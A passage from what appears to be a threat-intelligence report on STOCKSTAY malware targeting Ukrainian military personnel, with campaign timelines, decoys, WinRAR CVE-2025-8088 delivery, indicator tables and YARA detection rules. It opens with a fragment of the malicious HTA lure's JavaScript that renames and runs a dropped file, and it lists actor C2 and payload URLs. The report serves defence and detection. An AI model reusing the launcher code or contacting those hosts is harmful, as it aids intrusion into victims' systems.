      var fso = new ActiveXObject("Scripting.FileSystemObject");

      if (fso.FileExists(oldName)) {
        if (fso.FileExists(newName)) {
          fso.DeleteFile(newName);
        }
        fso.MoveFile(oldName, newName);

        var shell = new ActiveXObject("WScript.Shell");
        shell.Run('"' + newName + '"', 1, false);
      } else {
      }

    } catch (e) {
    }
  }

window.onload = function() {
  renameAndRunFile();
};
&lt;/script&gt;</code></pre>
<p><span><span>Figure 9: JavaScript code contained in Калькулятор грошового забезпечення військовослужбовців 2025.hta</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>The STOCKSTAY.MARKETMAKER variant retrieved a ZIP archive, “EditorToolsPdf.zip”, containing the core STOCKSTAY components from a second compromised server located in Ukraine, this time hosting the archive within a compromised WordPress instance. </span></p>
<p><span>Analysis of the modification timestamps within the military calculator lure archive show that this operation dated as far back as May <span>28,</span> 2025, when the majority of the contents of the “calculator_2025_files” folder were last modified. The STOCKSTAY.MARKETMAKER executable was last modified on June 5, 2025, and the malicious HTA file was modified on June 10, 2025. </span></p>
<p><span>Similar examination of the STOCKSTAY archive shows the configuration file being modified on June 4, 2025, while the archive itself was last modified on the compromised server on June 5, 2025. This series of events shows that the complete STOCKSTAY ZIP archive was staged on the compromised infrastructure while modifications were being made to the initial phishing lures.</span></p>
<p><span>GTIG has been able to confirm via a trusted third party that the original compromise of the Ukrainian server used to host the STOCKSTAY archive occurred on or before May <span>13,</span> 2025.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>calculator.rar</code></p>
</td>
<td>
<p><span>RAR archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>6da0b4c1a5d0d3fb6e6a2990a82ba51db1f68a3bba818baa46526a29731e2342</code></p>
</td>
</tr>
<tr>
<td>
<p><code>Калькулятор грошового забезпечення військовослужбовців 2025.hta</code></p>
</td>
<td>
<p><span>HTA lure </span></p>
<p><span>(translated filename: “Military personnel cash benefit calculator 2025.hta”)</span></p>
</td>
<td>
<p><code>0d6b083208097d5b3e189891338540f6c64faaaaf268b0bb0b085dd53d5857b4</code></p>
</td>
</tr>
<tr>
<td>
<p><code>styles.dat.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.MARKETMAKER downloader</span></p>
</td>
<td>
<p><code>626330d22f77d9cbca9d40cc06568041703f194610c4c5a84bbb05a2e4ee7459</code></p>
</td>
</tr>
<tr>
<td>
<p><code>EditorToolsPdf.zip</code></p>
</td>
<td>
<p><span>ZIP archive containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>447f430b46fad5a3f8e8c5aad1f8f7f79af069489c3d9c29224bb9f14f0c7bf4</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ViewPdf.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ClientMNGR.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ConverterDDSNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>55249f296b63a8bcf911b8bc96de43c1ac2b4a56c150a19d33d892a47e57352c</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>e3364ee21cae6725451e8bc9ab9933df0000fd19814170bd132da68d1906d5ff</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 15: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>https://basecon.com.ua/calculator.rar</code></p>
</td>
<td>
<p><span>RAR archive containing HTA lure and STOCKSTAY.MARKETMAKER downloader</span></p>
</td>
</tr>
<tr>
<td>
<p><code>https://online.zp.ua/wp-content/uploads/Tools/EditorToolsPdf.zip</code></p>
</td>
<td>
<p><span>Compromised WordPress infrastructure hosting STOCKSTAY ZIP archive</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://canal1zac1a.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 16: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>July 23 – 28, 2025: Actor Uses GitHub to Host STOCKSTAY MSI Files</span></h4>
<p><span>GTIG identified a GitHub account we suspect of being used by the threat actor to test or deploy STOCKSTAY. The GitHub account, </span><code>Roberto1983-ai</code><span>, was created on July <span>23,</span> 2025 at 12:01:03. </span></p>
<p><span>On July <span>24,</span> 2025, the account created a public repository named </span><code>msi_installer_test2</code><span>, into which a single file was uploaded: </span><code>DiplomacyEduAI.msi</code><span>. A second repository, this time named </span><code>msi_installer_test3</code><span>, was created by the same user on July 28, 2025, and subsequently populated with another version of </span><code>DiplomacyEduAI.msi</code><span>.</span></p>
<p><span>Both versions of </span><code>DiplomacyEduAI.msi</code><span> contained core STOCKSTAY components, alongside a configuration file containing the WebSocket C2 URL </span><code>wss://canal1zac1a.onrender.com/ws</code><span>. GTIG has been unable to identify any active operations using these specific MSI files.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>DiplomacyEduAI.msi</code></p>
</td>
<td>
<p><span>MSI containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>19e6ed42248f9d03beb343a7c09a864dcd3cd671c29e1e5eac93579225224ac9</code></p>
</td>
</tr>
<tr>
<td>
<p><code>DiplomacyEduAI.msi</code></p>
</td>
<td>
<p><span>MSI containing STOCKSTAY components</span></p>
</td>
<td>
<p><code>6298f3150ad94a242e649886d47c59c634a4d04b9af5ee15e3bf335c40b5e58e</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ClientMNGR.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>80f6c010fd260d0bcf18a4b6a8d62505adbed50d2e615ed9522c4bfd61c00661</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ViewPdf.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>45bb8d1ab2c13bf4354294e13d3c9be15de625d807301905b98462f43f93e893</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ConverterDDSNet.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>d8fe8f3fe838d5b1a1043096f6f6bb6f524f5f1b0c9f83a081078a824daa0cf3</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>4e3bed10a8eff3e9205c1f37f647512464271d5ac65df7ae4709735621a38320</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 17: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://canal1zac1a.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 18: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>August 14, 2025: Actor Uses GitHub to Host STOCKSTAY Server Code</span></h4>
<p><span>GTIG identified a second GitHub account, which was observed hosting what we assess to be server-side code for handling STOCKSTAY C2 communications. The GitHub account, </span><code>ChikenFresh</code><span>, was created on August 14, 2025, then almost immediately created a public repository named </span><code>google-ai-labs-it</code><span>, into which the suspected C2 controller code was uploaded. Our analysis of the C2 controller is included in the malware analysis section earlier in this report.</span></p>
<p><span>The GitHub repository name corresponds with a STOCKSTAY C2 server identified running on the Render platform, however GTIG has not observed any active operations using this infrastructure. We assess that the threat actor linked this GitHub repository to their Render account in order to utilize their </span><a href="https://render.com/docs/websocket" rel="noopener" target="_blank"><span>WebSocket hosting</span></a><span> capabilities.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>server.py</code></p>
</td>
<td>
<p><span>Python STOCKSTAY C2 controller</span></p>
</td>
<td>
<p><code>f04f43b6f7c2d86109c495179b497f7fb45fd95816623de1b77900f71b4f99ed</code></p>
</td>
</tr>
<tr>
<td>
<p><code>models.py</code></p>
</td>
<td>
<p><span>Database table definitions and models for use by </span><code>server.py</code><span> </span></p>
</td>
<td>
<p><code>7615140f78d9a0ce31cc9fe8c54c60028a7439cb32526fd97b10afef7145dd78</code></p>
</td>
</tr>
<tr>
<td>
<p><code>wtools.py</code></p>
</td>
<td>
<p><span>Utility functions for use by </span><code>server.py</code></p>
</td>
<td>
<p><code>b55f3b8a7334af049ba3f70a9ad3fe78574b1e180c68baf9a7110d104387a636</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 19: File indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://google-ai-labs-it.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 20: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>November 2025: Ukraine — Drone-Related Lures and Deployment via CVE-2025-8088</span></h4>
<p><span>On November 6, 2025, GTIG identified a batch of phishing emails being sent from a drone-themed UKR.NET email account, to approximately 20 Ukraine-based targets, each containing a unique ukr.net file sharing link. Each link led to a malicious RAR archive which exploits a path traversal vulnerability in WinRAR (</span><a href="https://cloud.google.com/blog/topics/threat-intelligence/exploiting-critical-winrar-vulnerability"><span>CVE-2025-8088</span></a><span>) to install the core STOCKSTAY components. Continuations of this phishing activity were observed on November 12 and 14, 2025. We identified that only around 30% of the recipients of these phishing emails opened the emails, however we are unable to confirm how many of these individuals downloaded or executed the malicious payloads. All affected Google accounts were marked for additional authentication checks as a precautionary measure against potential account compromise. Google also notified affected users via our </span><a href="https://support.google.com/mail/answer/2591015" rel="noopener" target="_blank"><span>Government Backed Attack Warning</span></a><span> (GBAW) notifications.</span></p>
<p><span>GTIG identified two distinct types of Ukrainian-language decoy documents within the malicious RAR archives, both appearing to target Ukrainian military personnel. The first, “Донесення БпЛА 06.11.2025.docx” (“UAV report 06.11.2025.docx”), claimed to be “[A] Report on the availability/need for UAVs, their condition, the availability of crews for each UAV in the units, their training in the defense zone of the 1st Brigade as of 06.11.2025” (see Figure 10).</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig10.max-1000x1000.png" alt="“Report” Decoy document from November 2025">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="9e24u">Figure 10: “Report” Decoy document from November 2025</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>The second decoy, observed as “Товари(докладніше).docx” (“Products (more details).docx”) and “Приклади товарів для листа (деталізовано).docx” (“Examples of products for the letter (detailed).docx”), predominantly comprised of an equipment list referencing: “Tactical medicine”; “Communication and surveillance equipment”; “Equipment and survival equipment”; and “Automotive property” (see Figure 11).</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig11.max-1000x1000.png" alt="“Equipment List” Decoy document from November 2025">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="9e24u">Figure 11: “Equipment List” Decoy document from November 2025</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>Each of the decoy documents contained an external image reference that causes a connection to be made from the victim’s machine to a site likely monitored by the threat actor, signaling that the document has been opened. GTIG believes the URLs referenced by the decoy documents may be hosted on compromised infrastructure.</span></p>
<p><span>GTIG identified that the instances of STOCKSTAY observed being deployed during this operation contained enhancements intended to increase resistance to detection, specifically by carving out functionality into external modules. These external modules were named to imitate legitimate Windows libraries, using the filenames shown in Table 20.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Component</strong></p>
</td>
<td>
<p><strong>Filename</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKMARKET</span></p>
</td>
<td>
<p><code>MSViewer.exe</code></p>
</td>
</tr>
<tr>
<td>
<p><span>Shared STOCKSTAY core module</span></p>
</td>
<td>
<p><code>ms-lib-math-core.dll</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKBROKER</span></p>
</td>
<td>
<p><code>MSDriver.exe</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKBROKER core module</span></p>
</td>
<td>
<p><code>ms-api-wmcpdt.dll</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><code>MSRender.exe</code></p>
</td>
</tr>
<tr>
<td>
<p><span>STOCKSTAY.STOCKTRADER core module</span></p>
</td>
<td>
<p><code>ms-api-win-render.dll</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 21: STOCKSTAY component filenames observed in November 2025</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><p><span>GTIG observed two distinct STOCKSTAY WebSocket C2 URLs being used during this phishing wave. The majority of instances used the URL </span><code>wss://driverx86-adobe.onrender.com/ws</code><span>; however, we were able to identify at least one instance of STOCKSTAY using </span><code>wss://google-ai-labs-it.onrender.com/ws</code><span>, corresponding to the previously described GitHub repository associated with the </span><code>ChikenFresh</code><span> user.</span></p>
<p><span>Alongside the core STOCKSTAY components, the malicious RAR archives contained LNK files, described as “Updater Shortcut”, corresponding to each core STOCKSTAY component. The extraction file path was configured to attempt to deploy into the startup programs directory. </span></p>
<p><span>GTIG was able to identify that the actor began creating the LNK files for this operation approximately six hours prior to the first phishing emails being sent, with the Ukrainian-language lure documents being created around four hours prior.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
<td>
<p><strong>SHA-256</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>MSViewer.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>a40bf9c75d1bfa6d66f1179f2321de6589f80d3089d992797a9cb0e84f6196ce</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSViewer.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKMARKET orchestrator</span></p>
</td>
<td>
<p><code>e316b1e13154dc6115e1e0c023f6fe3d17861cae839d4a4a81779b6aad9a24f8</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSDriver.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKBROKER tunneler</span></p>
</td>
<td>
<p><code>c905cb512018cc55512c6a22677c3d6f389c47afd54d7c85797868fc4fcb90e9</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSRender.exe</code></p>
</td>
<td>
<p><span>STOCKSTAY.STOCKTRADER backdoor</span></p>
</td>
<td>
<p><code>667a8f568a611f2f3d84a366b7946b360e055bece9699c95aad619637ab72a38</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ms-lib-math-core.dll</code></p>
</td>
<td>
<p><span>Module containing core crypt and obfuscation routines, historically found within core STOCKSTAY components</span></p>
</td>
<td>
<p><code>b287347a5bff8af360ce0e6500c336b6fe6d97920abc26202c9d843ffebc5f89</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ms-api-win-render.dll</code></p>
</td>
<td>
<p><span>Module containing backdoor command handlers, historically found within STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><code>1682e8d82016b3f10434d2ebac995fd3b6aa812f079bfd7888652e94a994d851</code></p>
</td>
</tr>
<tr>
<td>
<p><code>ms-api-wmcpdt.dll</code></p>
</td>
<td>
<p><span>Module containing STOCKSTAY’s IPC logic, historically found within each STOCKSTAY component</span></p>
</td>
<td>
<p><code>e2a0f4440f67998a0215d49be31746ea192bfcb4dc4ee532a218f8cf13605714</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSViewer.lnk</code></p>
</td>
<td>
<p><span>LNK shortcut intended to execute STOCKSTAY.STOCKMARKET</span></p>
</td>
<td>
<p><code>3627f582420ad2782d452fe6d13fae42658d1484296351d3916703e25dcadd14</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSRender.lnk</code></p>
</td>
<td>
<p><span>LNK shortcut intended to execute STOCKSTAY.STOCKTRADER</span></p>
</td>
<td>
<p><code>77417df21b4b4e8d86b8bda4afeef93fd36f355362586b2d1f51121a82244167</code></p>
</td>
</tr>
<tr>
<td>
<p><code>MSDriver.lnk</code></p>
</td>
<td>
<p><span>LNK shortcut intended to execute STOCKSTAY.STOCKBROKER</span></p>
</td>
<td>
<p><code>813c78b5b6ef28a9c0ed35f2c6cd88fc50880ab91f8777dfe7aaccb1c24b08d5</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>e83f274bf9914c6cfc0c6b3cdadf089565f49dace4aca93287c22aba9641c8f3</code></p>
</td>
</tr>
<tr>
<td>
<p><code>fonts</code></p>
</td>
<td>
<p><span>STOCKSTAY configuration file</span></p>
</td>
<td>
<p><code>f964353b9ae4bedbe62de6c0d7eafa9fb8b87897bbaea483aedaa8ae191834da</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span>Table 22: File indicators</span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Indicator</strong></p>
</td>
<td>
<p><strong>Description</strong></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://driverx86-adobe.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
<tr>
<td>
<p><code>wss://google-ai-labs-it.onrender.com/ws</code></p>
</td>
<td>
<p><span>STOCKSTAY WebSocket C2</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 23: Network indicators</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h3><span>Attribution</span></h3>
<p><span>GTIG attributes the STOCKSTAY ecosystem and related activity to threat clusters assessed with high confidence links to Turla, based on the following:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>STOCKSTAY uses Windows-1251 during command-processing - an encoding notably designed specifically to support Cyrillic script. This is indicative of a development or operational environment linked to Eastern Europe, the Balkans, or Central Asia. </span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>STOCKSTAY has code overlaps with KAZUAR, a widely-attributed proprietary Turla toolkit, based on the recent introduction of K1MORPHER string obfuscation into both malware families within a similar time window.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>GTIG observed STOCKSTAY being delivered from compromised infrastructure which was also identified as hosting part of Turla’s victim-facing KAZUAR C2 infrastructure.</span></p>
</li>
</ul>
<p><span>Turla has a consistent focus on targeting Ukrainian Defense and Military organizations, and was identified within a Mandiant Incident Response deploying STOCKSTAY alongside a range of other proprietary Turla malware, such as WILDDAY, DIAMONDBACK, and KAZUAR.</span></p>
<h3><span>Detections</span></h3>
<h4><span>Google Security Operations (SecOps)</span></h4>
<p><span>SecOps customers will have access to the following pending-deployment rules. Once fully deployed, these rules will be available under the Mandiant Frontline Threats, Mandiant Hunting and Mandiant Intel Emerging Threats rule packs:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Archiver Extraction To Windows Startup</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Registry Write Registry Run Keys</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Registry Write to Run Registry Key</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Potential RDP File Write From Phishing</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>RDP Connection Initiated from Staging Directory</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Onrender Subdomain Suspicious DNS Query</span></p>
</li>
</ul>
<h4><span>YARA Rules</span></h4></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_ConfigurationFile_2 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects encrypted configuration files associated with STOCKSTAY."
        hash = "40a3b969d81ef1ef35dd9ebcc6774e060b1b8949d3d74f38ca6b7d789c95cdb3"

    strings:
        $s1 = "\"SystemConfiguration\""
        $s2 = "An application for getting information about current events on trading platforms"
        $s3 = "To set the time for updating information, enter a value in minutes in the `Interval` field"
        $s4 = "The `SystemConfiguration` field stores the system settings of the application."
        $s5 = "In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`."
        $s6 = "wss://"

    condition:
        uint16(0) == 0x227B  // {"
        and 4 of ($s*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_ConfigurationFile_3 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects early configuration files associated with STOCKSTAY."
        hash = "1a2ca8b8e0344fe3d80da7352206a470245443e2349a237bc093df934ddc011f"

    strings:
        $key_required_1 = "\"List 1\""
        $key_required_2 = "\"List 2\""
        $key_required_3 = "\"List 3\""
        $key_dummy_1 = "\"BinanceApi\""
        $key_dummy_2 = "\"CoinbaseCloudApi\""
        $key_dummy_3 = "\"CoinbaseCloudApi Sandbox\""
        $key_dummy_4 = "\"ByBitApi Spot\""
        $key_dummy_5 = "\"ByBitApi Linear\""
        $key_dummy_6 = "\"Info level\""
        $key_dummy_7 = "\"Rate info\""
        $key_dummy_8 = "\"Info level\""

    condition:
        uint8(0) == 0x7B  // {
        and filesize &gt; 500
        and all of ($key_required_*)
        and 3 of ($key_dummy*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_ConfigurationFile_5 {
  meta:
    author = "Google Threat Intelligence Group"
    description = "Detects plaintext configuration files used by the STOCKSTAY malware family."
    hash = "6cee9e838792ac5e2098362d68ce93a9a2c095d476dc16b289fe8509c99b2b8b"

  strings:
    $internal_id_1 = "\"internal_id\""
    $internal_id_2 = "\"i_id\""
    $internal_key_1 = "\"internal_key\""
    $internal_key_2 = "\"i_k\""
    $interval_engine_1 = "\"interval_engine\""
    $interval_engine_2 = "\"ie\""
    $level_info_1 = "\"level_info\""
    $level_info_2 = "\"li\""
    $time_scale_1 = "\"time_scale\""
    $time_scale_2 = "\"ts\""
    $span_min_1 = "\"span_min\""
    $span_min_2 = "\"mx1\""
    $span_max_1 = "\"span_max\""
    $span_max_2 = "\"my1\""
    $rate_1 = "\"rate\""
    $rate_2 = "\"rt_x_y\""
    $rate_control_1 = "\"rate_control\""
    $service_1 = "\"service\""
    $service_2 = "\"srv\""
    $days_not_work_1 = "\"days_not_work\""
    $days_not_work_2 = "\"dnw\""
    $system_properties_1 = "\"system_properties\""
    $system_properties_2 = "\"sp\""

  condition:
    any of ($internal_id*)
    and any of ($internal_key*)
    and any of ($interval_engine*)
    and any of ($level_info*)
    and any of ($time_scale*)
    and any of ($span_min*)
    and any of ($span_max*)
    and any of ($rate*)
    and any of ($service*)
    and any of ($days_not_work*)
    and any of ($system_properties*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_CryptoContainer_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects code for parsing crypto containers within STOCKSTAY components."
        hash = "82707cfdf24dcb762f4615f01e1ba4d3dfdec4abe9cd588558d2634d7e6a5eeb"

    strings:
        $s1 = "BuildCryptoContainer"
        $s2 = "ParseCryptoContainer"
        $s3 = "Windows-1251" wide
        $s4 = "AesCryptoServiceProvider"
        $s5 = "RSACryptoServiceProvider"

    condition:
        uint16(0) == 0x5a4d
        and all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Backdoor_STOCKSTAY_WindowNames_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY window names."
        hash = "dfd5cb91d06b9649d4cab500343af80ad1144a9e46641cc406f43dd169003c22"


    strings:
        $import = "_CorExeMain"
        $s2 = "SMEditorPage" wide
        $s3 = "SMNetPage" wide
        $s4 = "StockMarketViewPage" wide
        $s5 = "window_system32_x128" wide
        $s6 = "window_system32_x64" wide
        $s7 = "window_system32_x32" wide

    condition:
        $import 
        and any of ($s*)
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Downloader_STOCKSTAY_MARKETMAKER_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.MARKETMAKER downloader based on method names and payload filenames."
        hash = "da8a96bc74e265f945f1cc6992c6dc0f9ea36ed1991f7b8d312db79d9bf78c40"

    strings:
        $f1 = "CheckAutoRun"
        $f2 = "SetupAutoRun"
        $f3 = "DownloadAndExtractZip"
        $f4 = "GetSystemProxy"

        $s0 = "_CorExeMain"
        $s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
        $s2 = "StockMarketView.exe" wide
        $s3 = "SMNet.exe" wide
        $s4 = "SMEditor.exe" wide

    condition:
        all of them
}</code></pre></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>rule G_Controller_STOCKSTAY_STOCKMARKET_1 {
    meta:
        author = "Google Threat Intelligence Group"
        description = "Detects STOCKSTAY.STOCKMARKET controller based on method and field names, and SQL queries"
        hash = "2af7b513c05e76d7da5f75bb0a223c894a706c99ef2c2ddfe4eae542f95a08e0"

    strings:
        $f1 = "ProtocolMessageConnect"
        $f2 = "ProtocolMessageEnd"
        $f3 = "ProtocolMessagePing"
        $f4 = "ProtocolMessageRequestRecv"
        $f5 = "ProtocolMessageRequestSend"
